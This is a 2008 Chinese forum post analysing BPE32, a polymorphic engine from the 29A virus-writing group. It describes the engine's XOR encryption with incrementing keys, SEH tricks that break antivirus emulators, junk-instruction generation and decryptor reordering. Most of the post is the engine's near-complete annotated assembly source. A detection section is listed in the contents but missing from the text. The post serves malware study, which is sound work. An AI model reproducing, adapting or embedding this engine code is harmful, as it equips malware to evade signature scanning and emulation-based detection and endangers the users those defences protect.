首页
论坛
专栏
课程

[原创]BPE32 多态引擎剖析

2008-11-27 13:49 10703

[原创]BPE32 多态引擎剖析

2008-11-27 13:49
10703
BPE32 多态引擎剖析

一 BPE32简介
二 技术细节分析
         2.0 -- 整体流程设计
   2.1 -- 随机数设计
   2.2 -- 代码加密方案
   2.3 -- 对抗VM的SEH设计
   2.4 -- 随机数生成与寄存器选择
   2.5 -- 垃圾指令生成方式
   2.6 -- 解密器设计
   2.7 -- 重建指令流程
三 代码解析
四 检测方案

一 BPE32简介:
   BPE32(Benny's Polymorphic Engine for Win32)多态引擎是由Benny's /29A在#4期发布的一个病毒多态引擎,之后在病毒编写如(如Win32.Vulcano)及壳的编写(如ASProtect)当中都得到了应用,BPE32是一个很不错的多态引擎,这里将从设计的角度分析该引擎。

   按照Benny's的描述,BPE32引擎有如下特点:
   1 可以通过创建SEH来干扰一些AV
   2 随机使用寄存器做代码的混淆
   3 同一功能代码,由不同的指令动态生成
   4 功能代码具有空间随机分布
   5 具有仿真CALL 及 jmp 指令
   6 在代码之间插入垃圾指令(也包括使用未公开的SALC指令)

   我们先看一下BPE32的调用时的输入参数,
   ESI  -- 指向待加密的virus数据。
   EDI  -- 指向一块内存数据,用来存放由BPE32生成的解密器及加密数据。
   ECX  -- 加解密数据的计数,加解密时按照4byte的方式操作,数据由公式(_end - start +3)/4 获得。
   EBP  -- 做重定位时使用。
   输出参数,
   EAX  -- 解码器加上加密数据后的大小,不对齐,精确到1byte而不是一个DWORD
   调用很方式简单,例如:
   mov esi, vir_body ; 病毒体
         mov edi, pmem     ; 内存空间
   mov ecx, 6c0h     ; 解密计数
         call BPE32
   这样调用后pmem里面就是一个重建的病毒代码了。
         下面将对具体技术细节做分析。
二 技术细节分析
   2.0 流程设计:
   调用BPE32后,将在内存中产生如下方式的3部分功能代码,结构如下:
/------        +--------------------+
|                                |构造call  decryptor |        --------->@1
|                                +--------------------+
|                                |                                                        |
|                                | 加密的virus body         |  --------->@2
|                                |                    |
\------> |--------------------+
                                 |                                            |
                                 |                decryptor                         |
                           |                                                                    |  --------->@3
                                 +--------------------+

  @1 是经过计算构造好的一个call调用,因为调用的具体位置要有@2部分决定。
  @2 是一个经过加密后的病毒体。
  @3 是一个解密器,用于对@2部分进行解密,该部分是经过代码混淆变换的。
  这样每次感染其它文件后,重新生成的代码将不再有固定的特征部分,这将使得特征扫描机制失效。

2.1 随机数设计:
  BPE32的随机数部分设计的很简单,利用了RDTCS指令来产生一个随机数字,通过栈中参数X,产生一个0 ~ X-1 之间的数字,当参数是0时,则直接返回产生的该数字。
                  random        proc
                        push edx
                  RDTCS
                        xor edx, edx                                  ;nulify EDX, we need only EAX
                        cmp [esp+8], edx                        ;is parameter==0 ?
                        je r_out                                                  ;yeah, do not truncate result
                        div dword ptr [esp+8]        ;divide it
                        xchg eax, edx                                  ;remainder as result
                r_out:        pop edx                                        ;restore EDX
                        ret Pshd                                      ;quit procedure and destroy pushed parameter
                random        endp

2.2 代码加密方案:
  BPE32采用的加密方案是,先产生两个随机数,一个作为密钥B_key(不变的数字),一个作为增量密钥I_key(每次运算后相加),每次使得B_key + I_key,然后 xor 待加密数据一个DWORD,实现如下:

                  push 0                                                  ;产生一个无范围的随机数
                        call random                                  ;
                        xchg edx, eax
                        mov [ebp + xor_key - mgdelta], edx        ;存储基密钥
                        push 0                                                        ;产生一个无范围的随机数
                        call random
                        xchg ebx, eax
                        mov [ebp + key_inc - mgdelta], ebx        ;存储增量密钥
                x_loop:        lodsd                                        ;加密virus body
                        xor eax, edx
                        stosd
                        add edx, ebx
                        loop x_loop

2.3 对抗VM的SEH设计:
  对于上面小节中提到的 @3部分,其实是由如下部分组成的。
decryptor        ---->        +------------------+ <--------\
                                                                |  seh handler     |          |
                                                                +------------------+          |
                                                                |  deleta geter    |          |
                                                                +------------------+          |
                                                                |   decryption     |          |
                                                                +------------------+          |
                                                                |  loop decryptor  | ---------/
                                                                +------------------+
        seh handler    -- 安装一个seh处理过程。
        deleta geter   -- 因为@3部分是由垃圾指令随机填充的,所以每循环一次后需要进行一次重定位。
        decryption     -- 解密部分,同样由垃圾指令所包围。
        loop decryptor -- 跳向seh handler。
        对于SEH BPE32会产生如下形式的代码:

                                start:
                                call end_seh_fn
        /---->mov esp, [esp+8]              ;--> 相当于push  seh->handler
        |                        jmp seh_rs
        |                end_seh_fn:
        |                        sub edx, edx
        |                        push dword ptr fs:[edx] ;--> 相当于push  seh->prev
        |                        mov fs:[edx], esp
        \-----inc byte ptr [edx]      ;--> 该处引发异常,跳向上面语句
                                jmp start
                        seh_rs:        xor edi, edi
                                pop dword ptr fs:[edi]
                                pop edi
         这样对于使用vm技术的aver,如果没有做好seh仿真,将导致仿真失败,无法完成检测,而jmp start 这条语句也很重要,有些aver会实现指令预取的功能(具体可参考《对抗启发式代码仿真检测技术分析》一文),这样会另aver陷入无休止的仿真循环当中。

2.4 随机数生成与寄存器选择
         BPE32 通过get_reg 函数产生一个随机的寄存器索引,即产生0 ~ 7 之间的整数,不使用EAX(0),ESP(100b) ,在调用的外部也会判断是否使用了的EBP(101b),实现如下:

                                get_reg proc
                                push 8       ; 产生一个随机的 0 ~ 7 之间的整数
                                call random
                                test eax, eax
                                je get_reg   ;不能使用eax
                                cmp al, 100b ;不能使用esp
                                je get_reg
                                ret
                                get_reg endp

2.5 垃圾指令生成方式:
          BPE32 通过调用rjunk 函数来产生垃圾指令,这部分可以产生1byte,2 byte,3byte,5byte垃圾指令,及jmp call类的仿真指令(无疑这类指令的加入使得junk看起来更像真实的指令),同时为了使junk的产生更加随机化,BPE32做了一个简单映射关系。
          0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
          左侧索引(eax,随机数) = 右侧(垃圾指令字节数),也就是rjunk先产生一个0 ~ 7 的随机数,根据这个索引映射的列表,进行垃圾指令的生成,例如:
          eax 是 0时,产生5byte junk
          eax 是 1时,产生1byte junk 和 2byte junk
          eax 是 2时,则先产生2byte junk,再产生1byte junk
          eax 是 7时,产生jmp或call
          按照以上的映射关系,依次类推的产生垃圾指令,下面以1byte junk的代码来说如何产生垃圾代码。

          1 byte junk 示例:
                esi -- > 待加密数据
                edi -- > 内存buff
                产生1byte junk指令到内存buff
                j1:
                                call junx1      ;one byte junk instruction
                                nop
                                dec eax
                                SALC
                                inc eax
                                clc
                                cwde
                                stc
                                cld
                junx1:
                    pop esi         ; 1 byte junk 指令首地址,即指向nop指令
                                push 8
                                call random
                                add esi, eax    ; 随机定位一条
                                movsb           ;加入edi指向的内存当中
                                ret
  其它的junk产生方式仅比 1byte junk复杂一些而已,故不再赘述,BPE32还有一个重要的功能指令产生函数,make_xor,make_xor2,make_xor主要是将指定的寄存器(由bl寄存器中的内容指定)清0,make_xor可以产生随机的,xor,Rx,Rx / sub Rx,Rx/ mov Rx,0 这样的等效指令,make_xor2则产生一个指定寄存器xor某一数值的指令,例如:
    mov bh,2
    call make_xor2
    mov eax,01234567h
    stosd
    以上则产生一条xor edx,01234567h这样的指令,以上两个函数功能简单,故不再做过多说明。  

2.6 解密器设计
  因为BPE32可以随机的使用寄存器,故这里用Rx来表示任意一个可用的寄存器,每条语句的Rx并不一定代表同一个寄存器。解密器的设计是BPE32多态的重点,我这里先将主要的功能代码表示出来。

                         mov  Rx,src      --------  I1  获得待解密的地址,放入Rx中
                         mov  Rx, cnt      --------  I2  获得要解密的此时,放入Rx中
        /--->xor  Rx,Rx       --------  I3  解密
        |                 add  Rx,4        --------  I4  待解密的地址加4
        |                 add  Rx,1        --------  I5  计数器加1
        |                 add  Rx,Rx       --------  I6  基密钥 + 增量密钥
        |                 jcxz xxx          --------  I7  测试解密是否完成,完成后跳出循环
  \--- jmp  xxx          --------  I8  继续解密

   BPE32围绕 I1 ~ I8 ,通过随机寄存器、插入垃圾指令、变换指令顺序、同等指令替换等手段产生来产生数据不同但功能相同的解密代码,下面我将列举一个去除垃圾指令的BPE32产生的解密代码。
                        0040202B    E8 00000000     CALL T-BPE32.00402030          ;构造的一个call

                        00402030    8B3C24          MOV EDI,DWORD PTR SS:[ESP]
                        00402033    58              POP EAX
                        00402034    81EF 30204000   SUB EDI,T-BPE32.00402030       ;构造一个重定位
      ; I1 的一种生成方式,F7973BCB为随机产生的一个密钥,xor后,ecx 指向了最初call调用后地址,即待解密数据首地址
                        0040203A    68 CB3B97F7     PUSH F7973BCB                                                                         ;构造一个随机加密的密钥,使得ecx指向最初的一个call调用
                        0040203F    59              POP ECX                        ;这里ecx寄存器随机生成
                        00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE

                        00402046    03CF            ADD ECX,EDI                                                                                 ;加重定位,获得真正数据的指向
                        ;I2 的一种生成方式,方案类似于 I1
                        00402048    33D2            XOR EDX,EDX                    ; 获得解密的次数,同样采用随机密钥来混淆
                        0040204A    81C2 68D4F805   ADD EDX,5F8D468
                        00402050    81F2 6AD4F805   XOR EDX,5F8D46A
                        ;I3
                        00402056    2BDB            SUB EBX,EBX                    ;获得密钥,该处密钥均为0
                        00402058    81C3 00000000   ADD EBX,0
                        0040205E    3119            XOR DWORD PTR DS:[ECX],EBX     ;解密

                        ;I4 使计数增加的一种方式
                        00402060    41              INC ECX                                                                                                 ;源数据增加4
                        00402061    41              INC ECX
                        00402062    41              INC ECX
                        00402063    41              INC ECX

      ;I5
                        00402064    B8 CC54578A     MOV EAX,8A5754CC               ;循环计数减1
                        00402069    2BD0            SUB EDX,EAX
                        0040206B    81C2 CB54578A   ADD EDX,8A5754CB
      ;I6
                        00402071    B8 00000000     MOV EAX,0                                                                                         ;基址密钥+增量密钥加(目前增量是0)
                        00402076    03D8            ADD EBX,EAX
      ;I7
                        00402078    51              PUSH ECX
                        00402079    8BCA            MOV ECX,EDX
        /---0040207B    E3 03           JECXZ SHORT T-BPE32.00402080   ;测试看解密是否完成
  |   ;I8
        |                0040207D    59              POP ECX
        |                0040207E  ^ EB DE           JMP SHORT T-BPE32.0040205E     ;继续进行解密
        \-->00402080    59              POP ECX
                        00402081    61              POPAD
                        00402082    C3              RETN
2.7 重建指令流程
                针对解密器,BPE32对执行先后顺序无关的代码,进行了重新排列,首先BPE32现将这些功能分成8个部分,即greg0 ~ greg7个处理例程。其中:
                greg0  -- 产生SEH部分代码
                greg1  -- 产生SEH部分代码
                greg2  -- 产生mov Rx,src 类代码
                greg3  -- 产生mov Rx, cnt类代码
                以上部分例程不进行代码重排序。
                greg4  --        产生密钥自增代码
                greg5  -- 产生待解密数据自增代码
                greg6  -- 产生计数器自减的代码
                greg7  -- 产生解密跳转的代码
                BPE32会对 greg4 ~ greg6 进行重排序,因这几部分代码进行重排序,不会影响解密代码功能,以此来达到代码混淆的目的。同时这几部分功能都有能力产生,功能一致但代码不同的新指令如:
          greg4提供4种等效方案,供随机选择
                1:XCHG EAX, Rx       
                         XOR Rx, Rx   
                         OR Rx, EAX
                         ADD Rx, value
                2: add Rx,value
                3: mov eax,value
                         add Rx,eax
                4: mov eax,Rx
                         add eax,value
                         xchg eax,Rx
         greg5 提供多种等效方案,供随机选择,如
         1:
         inc Rx  ;执行4次
         2:                       3:
         mov eax,Rx ,             mov eax,4
         add eax,4                add Rx,eax
         xchg eax,Rx
         greg6提供了4种等效方案,供随机选择
         1:sub Rx,1
         2:dec Rx,1          
         3:
         mov eax, random_v
         sub Rx, eax
         add reg,random -1
         4:
         xchg eax,Rx
         dec eax
         xchg eax,Rx
         greg7提供了两种等效方案,供随机选择
         1:
          push ecx
                mov ecx, reg
                jecxz label
                pop ecx
                jmp decrypt_loop
                label:
                pop ecx
        2 :
                xor eax, eax
                dec eax
                add eax, reg
                jns decrypt_loop
        而整体greg4 ~ greg6的排序规则由如下代码产生:
        push 6                                                ;产生0 ~ 5种方案的随机排列顺序
        call random                               
        test eax, eax
        je g5                                                ;greg4 - key incremention
        cmp al, 1                                ;greg5 - source incremention
        je g1                                                ;greg6 - count decremention
        cmp al, 2                                ;greg7 - decryption loop
        je g2
        cmp al, 3
        je g3
        cmp al, 4
        je g4
        g0:        call gg1
                call greg6
                jmp g_end
        g1:        call gg2
                call greg5
                jmp g_end
        g2:        call greg5
                call gg2
                jmp g_end
        g3:        call greg5
        gg3:        call greg6
                jmp g_out
        g4:        call greg6
                call gg1
                jmp g_end
        g5:        call greg6
                call greg5
        g_out:        call greg4
        g_end:        call greg7
                mov al, 61h                               
                stosb                                                       
                call rjunk                               
                mov al, 0c3h               
                stosb                                                       
                pop eax                                       
                sub eax, edi               
                neg eax                                       
                mov [esp.Pushad_eax], eax               
                popad                                       
                ret                                        ;整个BPE32结束
三 代码解析
   下面将对BPE32关键处的代码做简要的注释;
RDTCS        equ        <dw        310Fh>          ;RDTCS opcode
SALC        equ        <db        0D6h>                        ;SALC opcode
BPE32   Proc
        pushad                                        ;save all regs
        push edi                                ;save these regs for l8r use
        push ecx                                ;        ...
        mov edx, edi                ;        ...
        push esi                                ;preserve this reg
        call rjunk                        ;generate random junk instructions
        pop esi                                        ;restore it
        mov al, 0e8h                ;create CALL instruction
        stosb                                                ;        ...
        mov eax, ecx                ;        ...
        imul eax, 4                        ;        ...
        stosd                                          ;        ...
        ;edx保存有最开始的edi
        mov eax, edx                                ;calculate size of CALL+junx
        sub edx, edi                                ;        ...
        neg edx                                                        ;        ...
        add edx, eax                                ;        ...
        push edx                                                ;保存 call 与 填充垃圾指令的差值               
        push 0                                                        ;get random number
        call random                                        ;        ...
        xchg edx, eax
        mov [ebp + xor_key - mgdelta], edx        ;use it as xor constant
        push 0                                        ;get random number
        call random                                ;        ...
        xchg ebx, eax
        mov [ebp + key_inc - mgdelta], ebx        ;use it as key increment constant
x_loop:        lodsd                                        ;load DWORD
        xor eax, edx                                ;encrypt it
        stosd                                        ;store encrypted DWORD
        add edx, ebx                                ;increment key
        loop x_loop                                ;next DWORD
;        以上完成了对病毒体的加密
;        下面进行利用SEH对抗AV VM仿真
        call rjunk                                                  ;generate junx
        mov eax, 0006e860h                        ;generate SEH handler
        stosd                                        ;        ...
        mov eax, 648b0000h                        ;        ...
        stosd                                        ;        ...
        mov eax, 0ceb0824h                        ;        ...
        stosd                                        ;        ...
        ;以上产生类似如下代码
        ;pushad
        ;call t_bpe32.0040200c
        ;mov esp,dword ptr ss:[esp+8]
        ;jmp short t_bpe32.00402018       
greg0:        call get_reg                                ;get random register
        cmp al, 5                                                                        ;MUST NOT be EBP register
        je greg0
        mov bl, al                                                                ;store register
        ;dl 是参数,11 是产生非mov reg,reg 指令的标志
        mov dl, 11                                                                ;proc parameter (do not generate MOV)
        call make_xor                                                        ;create XOR or SUB instruction
        inc edx                                                                                ;destroy parameter
        mov al, 64h                                                                ;generate FS:
        stosb                                                                                        ;store it
        mov eax, 896430ffh                          ;next SEH instructions
        or ah, bl                                                                        ;change register
        stosd                                                                                        ;store them
        mov al, 20h                                                                ;        ...
        add al, bl                                                                ;        ...
        stosb                                                                                        ;        ...
        ;以上将产生类似如下代码
        ;xor Rx,Rx
        ;push dword ptr fs:[Rx]
        ;mov  dword ptr fs:[Rx],esp       
        push 2                                                        ;get random number
        call random
        test eax, eax
        je _byte_
        mov al, 0feh                                ;generate INC DWORD PTR
        jmp _dw_
_byte_:        mov al, 0ffh        ;generate INC BYTE PTR
_dw_:        stosb                                                ;store it
        mov al, bl                                        ;store register
        stosb                                       
        mov al, 0ebh                                ;generate JUMP SHORT
        stosb                                       
        mov al, -24d                                ;generate jump to start of code (trick
  stosb               ;for better emulators, e.g. NODICE32)
; 以上产生类似如下代码   
;        inc byte ptr [edx]
; jmp start            
        call rjunk                                                                ;generate junx
greg1:        call get_reg                                ;generate random register
        cmp al, 5                                                                        ;MUST NOT be EBP
        je greg1
        mov bl, al                                                                ;store it
        call make_xor                                                        ;generate XOR,SUB reg, reg or MOV reg, 0
        mov al, 64h                                                           ;next SEH instructions
        stosb                                       
        mov al, 8fh                               
        stosb                                       
        mov al, bl                               
        stosb                                       
        mov al, 58h                               
        add al, bl                               
        stosb               
        mov al, 0e8h                                ;generate CALL
        stosb                                       
        xor eax, eax                               
        stosd                                       
        push edi                                  ;store for l8r use
        call rjunk                                ;call junk generator

        call get_reg                        ;random register
        mov bl, al                                ;store it
        push 1                                          ;random number (0-1)
        call random                               
        test eax, eax
        jne next_delta
        mov al, 8bh                                ;generate MOV reg, [ESP]; POP EAX
        stosb
        mov al, 80h
        or al, bl
        rol al, 3
        stosb
        mov al, 24h
        stosb
        mov al, 58h
        jmp bdelta
;以上产生类似如下代码
;seh_rs:       
;        xor Rx, Rx
;        pop dword ptr fs:[Rx]
;        pop Rx
next_delta:
        mov al, bl                                ;generate POP reg; SUB reg, ...
        add al, 58h
bdelta:        stosb
        mov al, 81h
        stosb
        mov al, 0e8h
        add al, bl
        stosb
        pop eax
        stosd
        call rjunk                                ;random junx
        ;做一个随机的重定位       
        xor bh, bh                                ;parameter (first execution only)
        call greg2                                ;generate MOV sourcereg, ...
        mov al, 3                                  ;generate ADD sourcereg, deltaoffset
        stosb                                       
        mov al, 18h                               
        or al, bh                               
        rol al, 3                               
        or al, bl                               
        stosb                                       
        mov esi, ebx                        ;store EBX
        call greg2                                ;generate MOV countreg, ...
        mov cl, bh                                ;store count register
        mov ebx, esi                                ;restore EBX

        call greg3                                ;generate MOV keyreg, ...
        push edi                                        ;store this position for jump to decryptor
        mov al, 31h                                ;generate XOR [sourcereg], keyreg
        stosb                                       
        mov al, ch                               
        rol al, 3                               
        or al, bh                               
        stosb                                       
        push 6                                                ;this stuff will choose ordinary of calls
        call random                                ;to code generators
        test eax, eax
        je g5                                                        ;greg4 - key incremention
        cmp al, 1                                        ;greg5 - source incremention
        je g1                                                        ;greg6 - count decremention
        cmp al, 2                                        ;greg7 - decryption loop
        je g2
        cmp al, 3
        je g3
        cmp al, 4
        je g4
g0:        call gg1
        call greg6
        jmp g_end
g1:        call gg2
        call greg5
        jmp g_end
g2:        call greg5
        call gg2
        jmp g_end
g3:        call greg5
gg3:        call greg6
        jmp g_out
g4:        call greg6
        call gg1
        jmp g_end
g5:        call greg6
        call greg5
g_out:        call greg4
g_end:        call greg7
        mov al, 61h                                ;generate POPAD instruction
        stosb                                       
        call rjunk                                ;junk instruction generator
        mov al, 0c3h                        ;RET instruction
        stosb                                       
        pop eax                                          ;calculate size of decryptor and encrypted data
        sub eax, edi                               
        neg eax                                       
        mov [esp.Pushad_eax], eax                ;store it to EAX register
        popad                                                  ;restore all regs
        ret                                                                ;and thats all folx
get_reg proc                                ;this procedure generates random register
        push 8                                                ;random number (0-7)
        call random                                ;        ...
        test eax, eax
        je get_reg                                ;MUST NOT be 0 (=EAX is used as junk register)
        cmp al, 100b                                ;MUST NOT be ESP
        je get_reg
        ret
get_reg endp
make_xor proc                                ;this procedure will generate instruction, that
        push 3                                                ;will nulify register (BL as parameter)
        call random
        test eax, eax
        je _sub_
        cmp al, 1
        je _mov_
        mov al, 33h                                  ;generate XOR reg, reg
        jmp _xor_
_sub_:        mov al, 2bh                ;generate SUB reg, reg
_xor_:        stosb
        mov al, 18h
        or al, bl
        rol al, 3
        or al, bl
        stosb
        ret
_mov_:        cmp dl, 11                                ;generate MOV reg, 0
        je make_xor
        mov al, 0b8h
        add al, bl
        stosb
        xor eax, eax
        stosd
        ret
make_xor endp
gg1:        call greg4
        jmp greg5
gg2:        call greg4
        jmp greg6

random        proc                                        ;this procedure will generate random number                                               
        push edx                                                ;save EDX
  RDTCS                                                                ;RDTCS instruction - reads PCs tix and stores
        xor edx, edx                                ;nulify EDX, we need only EAX
        cmp [esp+8], edx                ;is parameter==0 ?
        je r_out                               
        div dword ptr [esp+8]        ;divide it
        xchg eax, edx                                        ;remainder as result
r_out:        pop edx                                        ;restore EDX
        ret Pshd                                                        ;quit procedure and destroy pushed parameter
random        endp
make_xor2 proc                                        ;create XOR instruction
        mov al, 81h
        stosb
        mov al, 0f0h
        add al, bh
        stosb
        ret
make_xor2 endp
greg2        proc                                        ;1 parameter = source/count value
        call get_reg                        ;get register
        cmp al, bl                                ;already used ?
        je greg2
        cmp al, 5
        je greg2
        cmp al, bh
        je greg2
        mov bh, al
        mov ecx, [esp+4]                        ;get parameter(构造的第一个call指令后下一个地址)
        push 5                                                                ;choose instructions
        call random
        test eax, eax
        je s_next0
        cmp al, 1
        je s_next1
        cmp al, 2
        je s_next2
        cmp al, 3
        je s_next3

        mov al, 0b8h                                ;MOV reg, random_value
        add al, bh                                        ;XOR reg, value
        stosb                                                          ;param = random_value xor value
        push 0
        call random
        xor ecx, eax
        stosd
        call make_xor2
        mov eax, ecx
        jmp n_end2
s_next0:mov al, 68h                ;PUSH random_value
        stosb                                                                ;POP reg
        push 0                                                        ;XOR reg, value
        call random                                        ;result = random_value xor value
        xchg eax, ecx
        xor eax, ecx
        stosd
        mov al, 58h
        add al, bh
        stosb
        call make_xor2
        xchg eax, ecx
        jmp n_end2
s_next1:mov al, 0b8h        ;MOV EAX, random_value
        stosb                                                                ;MOV reg, EAX
        push 0                                                        ;SUB reg, value
        call random                                        ;result = random_value - value
        stosd
        push eax
        mov al, 8bh
        stosb
        mov al, 18h
        or al, bh
        rol al, 3
        stosb
        mov al, 81h
        stosb
        mov al, 0e8h
        add al, bh
        stosb
        pop eax
        sub eax, ecx
        jmp n_end2
s_next2:push ebx                ;XOR reg, reg
        mov bl, bh                                ;XOR reg, random_value
        call make_xor                        ;ADD reg, value
        pop ebx                                                ;result = random_value + value
        call make_xor2
        push 0
        call random
        sub ecx, eax
        stosd
        push ecx
        call s_lbl
        pop eax
        jmp n_end2
s_lbl:        mov al, 81h                                ;create ADD reg, ... instruction
        stosb
        mov al, 0c0h
        add al, bh
        stosb
        ret
s_next3:push ebx                                ;XOR reg, reg
        mov bl, bh                                                ;ADD reg, random_value
        call make_xor                                        ;XOR reg, value
        pop ebx                                                                ;result = random_value xor value
        push 0
        call random
        push eax
        xor eax, ecx
        xchg eax, ecx
        call s_lbl
        xchg eax, ecx
        stosd
        call make_xor2
        pop eax       
n_end2:        stosd
        push esi
        call rjunk
        pop esi
        ret Pshd
greg2        endp
greg3        proc
        call get_reg                                ;get register
        cmp al, 5                                                ;already used ?
        je greg3
        cmp al, bl
        je greg3
        cmp al, bh
        je greg3
        cmp al, cl
        je greg3
        mov ch, al
        mov edx, 0                                ;get encryption key value
xor_key = dword ptr $ - 4
        push 3
        call random
        test eax, eax
        je k_next1
        cmp al, 1
        je k_next2
        push ebx                                        ;XOR reg, reg
        mov bl, ch                                ;OR, ADD, XOR reg, value
        call make_xor
        pop ebx

        mov al, 81h
        stosb
        push 3
        call random
        test eax, eax
        je k_nxt2
        cmp al, 1
        je k_nxt3
        mov al, 0c0h
k_nxt1:        add al, ch
        stosb
        xchg eax, edx
n_end1:        stosd
k_end:        call rjunk
        ret
k_nxt2:        mov al, 0f0h
        jmp k_nxt1
k_nxt3:        mov al, 0c8h
        jmp k_nxt1
k_next1:mov al, 0b8h                                ;MOV reg, value
        jmp k_nxt1
k_next2:mov al, 68h                                        ;PUSH value
        stosb                                        ;POP reg
        xchg eax, edx
        stosd
        mov al, ch
        add al, 58h
        jmp i_end1
greg3        endp
greg4        proc
        mov edx, 0                         ;get key increment value
key_inc = dword ptr $ - 4
i_next:        push 3
        call random
        test eax, eax
        je i_next0
        cmp al, 1
        je i_next1
        cmp al, 2
        je i_next2
        mov al, 90h                                ;XCHG EAX, reg
        add al, ch                                ;XOR reg, reg
        stosb                                                        ;OR reg, EAX
        push ebx                                        ;ADD reg, value
        mov bl, ch
        call make_xor
        pop ebx
        mov al, 0bh
        stosb
        mov al, 18h
        add al, ch
        rol al, 3
        stosb
i_next0:mov al, 81h                                ;ADD reg, value
        stosb
        mov al, 0c0h
        add al, ch
        stosb
        xchg eax, edx
        jmp n_end1
i_next1:mov al, 0b8h                                ;MOV EAX, value
        stosb                                                                                        ;ADD reg, EAX
        xchg eax, edx
        stosd
        mov al, 3
        stosb
        mov al, 18h
        or al, ch
        rol al, 3
i_end1:        stosb
i_end2:        call rjunk
        ret
i_next2:mov al, 8bh                                ;MOV EAX, reg
        stosb                                                                                ;ADD EAX, value
        mov al, 0c0h                                                ;XCHG EAX, reg
        add al, ch
        stosb
        mov al, 5
        stosb
        xchg eax, edx
        stosd
        mov al, 90h
        add al, ch
        jmp i_end1
greg4        endp
greg5        proc
        push ecx
        mov ch, bh
        push 4
        pop edx
        push 2
        call random
        test eax, eax
        jne ng5
        call i_next                                ;same as previous, value=4
        pop ecx
        jmp k_end
ng5:        mov al, 40h                                ;4x inc reg
        add al, ch
        pop ecx
        stosb
        stosb
        stosb
        jmp i_end1
greg5        endp
greg6        proc
        push 5
        call random
        test eax, eax
        je d_next0
        cmp al, 1
        je d_next1
        cmp al, 2
        je d_next2
        mov al, 83h                                ;SUB reg, 1
        stosb
        mov al, 0e8h
        add al, cl
        stosb
        mov al, 1
        jmp i_end1
d_next0:mov al, 48h                                ;DEC reg
        add al, cl
        jmp i_end1
d_next1:mov al, 0b8h                                ;MOV EAX, random_value
        stosb                                                                                        ;SUB reg, EAX
        push 0                                                                                ;ADD reg, random_value-1
        call random
        mov edx, eax
        stosd
        mov al, 2bh
        stosb
        mov al, 18h
        add al, cl
        rol al, 3
        stosb
        mov al, 81h
        stosb
        mov al, 0c0h
        add al, cl
        stosb
        dec edx
        mov eax, edx
        jmp n_end1
d_next2:mov al, 90h                                ;XCHG EAX, reg
        add al, cl                                                        ;DEC EAX
        stosb                                                                                ;XCHG EAX, reg
        mov al, 48h
        stosb
        mov al, 90h
        add al, cl
        jmp i_end1
greg6        endp

greg7        proc
        mov edx, [esp+4]
        dec edx
        push 2
        call random
        test eax, eax
        je l_next0
        mov al, 51h                                ;PUSH ECX
        stosb                                                        ;MOV ECX, reg
        mov al, 8bh                                ;JECXZ label
        stosb                                                        ;POP ECX
        mov al, 0c8h                        ;JMP decrypt_loop
        add al, cl                                ;label:
        stosb                                                        ;POP ECX
        mov eax, 0eb5903e3h
        stosd
        sub edx, edi
        mov al, dl
        stosb
        mov al, 59h
        jmp l_next
l_next0:push ebx                ;XOR EAX, EAX
        xor bl, bl                                ;DEC EAX
        call make_xor                        ;ADD EAX, reg
        pop ebx                                          ;JNS decrypt_loop
        mov al, 48h
        stosb
        mov al, 3
        stosb
        mov al, 0c0h
        add al, cl
        stosb
        mov al, 79h
        stosb
        sub edx, edi
        mov al, dl
l_next:        stosb
        call rjunk
        ret Pshd
greg7        endp

rjunkjc:push 7
        call random
        jmp rjn

       
rjunk        proc                        ;junk instruction generator
        push 8
        call random                ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
                                                                ;左侧索引(eax,随机数) = 右侧(垃圾指令字节数)
rjn:        test eax, eax
        je j5
        cmp al, 1
        je j_1x2
        cmp al, 2
        je j_2x1
        cmp al, 4
        je j2
        cmp al, 5
        je j3
        cmp al, 6
        je r_end
        cmp al, 7
        je jcj
j1:        call junx1                ;one byte junk instruction
        nop
        dec eax
        SALC
        inc eax
        clc
        cwde
        stc
        cld
junx1:        pop esi
        push 8
        call random
        add esi, eax
        movsb
        ret
j_1x2:        call j1                        ;one byte and two byte
        jmp j2
j_2x1:        call j2                        ;two byte and one byte
        jmp j1
j3:        call junx3
        db        0c1h, 0c0h        ;rol eax, ...
        db        0c1h, 0e0h        ;shl eax, ...
        db        0c1h, 0c8h        ;ror eax, ...
        db        0c1h, 0e8h        ;shr eax, ...
        db        0c1h, 0d0h        ;rcl eax, ...
        db        0c1h, 0f8h        ;sar eax, ...
        db        0c1h, 0d8h        ;rcr eax, ...
        db        083h, 0c0h
        db        083h, 0c8h
        db        083h, 0d0h
        db        083h, 0d8h
        db        083h, 0e0h
        db        083h, 0e8h
        db        083h, 0f0h
        db        083h, 0f8h        ;cmp eax, ...
        db        0f8h, 072h        ;clc; jc ...
        db        0f9h, 073h        ;stc; jnc ...
junx3:        pop esi                        ;three byte junk instruction
        push 17
        call random
        imul eax, 2
        add esi, eax
        movsb
        movsb
r_ran:        push 0
        call random
        test al, al
        je r_ran
        stosb
        ret
j2:        call junx2
        db        8bh                ;mov eax, ...
        db        03h                ;add eax, ...
        db        13h                ;adc eax, ...
        db        2bh                ;sub eax, ...
        db        1bh                ;sbb eax, ...
        db        0bh                ;or eax, ...
        db        33h                ;xor eax, ...
        db        23h                ;and eax, ...
        db        33h                ;test eax, ...

junx2:        pop esi                        ;two byte junk instruction
        push 9
        call random
        add esi, eax
        movsb
        push 8
        call random
        add al, 11000000b
        stosb
r_end:        ret
j5:        call junx5
        db        0b8h                ;mov eax, ...
        db        05h                ;add eax, ...
        db        15h                ;adc eax, ...
        db        2dh                ;sub eax, ...
        db        1dh                ;sbb eax, ...
        db        0dh                ;or eax, ...
        db        35h                ;xor eax, ...
        db        25h                ;and eax, ...
        db        0a9h                ;test eax, ...
        db        3dh                ;cmp eax, ...

junx5:        pop esi                        ;five byte junk instruction
        push 10
        call random
        add esi, eax
        movsb
        push 0
        call random
        stosd
        ret
jcj:        call rjunkjc                ;junk
        push edx               
        push ebx                ;junk
        push ecx               
        mov al, 0e8h                ;CALL label1
        stosb                       
        push edi               
        stosd                       
        push edi               
        call rjunkjc               
        mov al, 0e9h                ;JMP label2       
        stosb
        mov ecx, edi
        stosd
        mov ebx, edi            ; 保存后方要修改jmp地址时的EDI,
        call rjunkjc
        pop eax
        sub eax, edi
        neg eax
        mov edx, edi
        pop edi
        stosd
        mov edi, edx
        call rjunkjc
        mov al, 0c3h                        ; ret
        stosb
        call rjunkjc
        sub ebx, edi            ;前面指令jmp 后的地址值
        neg ebx
        xchg eax, ebx
        push edi
        mov edi, ecx
        stosd
        pop edi
        call rjunkjc
        pop ecx
        pop ebx
        pop edx
        ret
